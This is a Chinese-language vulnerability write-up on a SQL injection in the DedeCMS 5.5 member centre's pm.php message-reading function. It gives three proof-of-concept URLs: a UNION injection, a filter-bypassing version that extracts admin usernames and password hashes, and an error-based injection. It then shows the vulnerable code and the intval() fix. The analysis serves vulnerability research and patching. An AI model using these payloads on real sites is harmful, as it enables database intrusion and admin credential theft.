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1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考

1. 漏洞描述

Dedecms会员中心注入漏洞

Relevant Link

http://www.05112.com/anquan/ldfb/sql/2014/0209/7723.html

2. 漏洞触发条件

0x1: POC1

http://127.0.0.1/dedecms5.5/member/pm.php?dopost=read&id=1‘ and char(@`‘`) and 1=2+UniOn+SelEct 1,2,3,4,5,6,7,8,9,10,11,12%20%23

0x2: POC2

如果报错: Safe Alert: Request Error step 1 !

http://127.0.0.1/dedecms5.5/member/pm.php?dopost=read&id=1′and char(@`’`) and 1=2+/*!50000Union*/+/*!50000select*/+1,2,3,4,5,6,userid,8,9,10,11,pwd+from+`%23@__admin`%23

0x3: POC3

报错注入

http://127.0.0.1/dedecms5.5/member/pm.php?dopost=read&id=1′ and @‘ and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and ‘1‘=‘1

Relevant Link

http://www.myhack58.com/Article/html/3/62/2014/42255.htm

3. 漏洞影响范围

4. 漏洞代码分析

/member/pm.php

else if($dopost==‘read‘)

{

$sql= "SELECT * FROM `#@__member_friends` WHERE mid=‘{$cfg_ml->M_ID}‘ AND ftype!=‘-1‘ ORDER BY addtime DESC LIMIT 20";

$friends=array();

$dsql->SetQuery($sql);

$dsql->Execute();while ($row = $dsql->GetArray())

{

$friends[]=$row;

}//$id注入

$row = $dsql->GetOne("SELECT * FROM `#@__member_pms` WHERE id=‘$id‘ AND (fromid=‘{$cfg_ml->M_ID}‘ OR toid=‘{$cfg_ml->M_ID}‘)");//ID没过滤

if(!is_array($row))

{

ShowMsg(‘对不起，你指定的消息不存在或你没权限查看！‘,‘-1‘);

exit();

}//$id注入

$dsql->ExecuteNoneQuery("UPDATE `#@__member_pms` SET hasview=1 WHERE id=‘$id‘ AND folder=‘inbox‘ AND toid=‘{$cfg_ml->M_ID}‘");

$dsql->ExecuteNoneQuery("UPDATE `#@__member_pms` SET hasview=1 WHERE folder=‘outbox‘ AND toid=‘{$cfg_ml->M_ID}‘");

include_once(dirname(__FILE__).‘/templets/pm-read.htm‘);

exit();

}

Relevant Link

http://0day5.com/archives/1313

5. 防御方法

/member/pm.php

else if($dopost==‘read‘)

{

$sql= "Select * From `#@__member_friends` where mid=‘{$cfg_ml->M_ID}‘ And ftype!=‘-1‘ order by addtime desc limit 20";

$friends=array();

$dsql->SetQuery($sql);

$dsql->Execute();while ($row = $dsql->GetArray())

{

$friends[]=$row;

}/*$id过滤*/$id=intval($id);/* */$row= $dsql->GetOne("Select * From `#@__member_pms` where id=‘$id‘ And (fromid=‘{$cfg_ml->M_ID}‘ Or toid=‘{$cfg_ml->M_ID}‘)");if(!is_array($row))

{

ShowMsg(‘对不起，你指定的消息不存在或你没权限查看！‘,‘-1‘);

exit();

}

$dsql->ExecuteNoneQuery("Update `#@__member_pms` set hasview=1 where id=‘$id‘ And folder=‘inbox‘ And toid=‘{$cfg_ml->M_ID}‘");

$dsql->ExecuteNoneQuery("Update `#@__member_pms` set hasview=1 where folder=‘outbox‘ And toid=‘{$cfg_ml->M_ID}‘");

include_once(dirname(__FILE__).‘/templets/pm-read.htm‘);

exit();

}

6. 攻防思考

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原文：http://www.cnblogs.com/LittleHann/p/4519096.html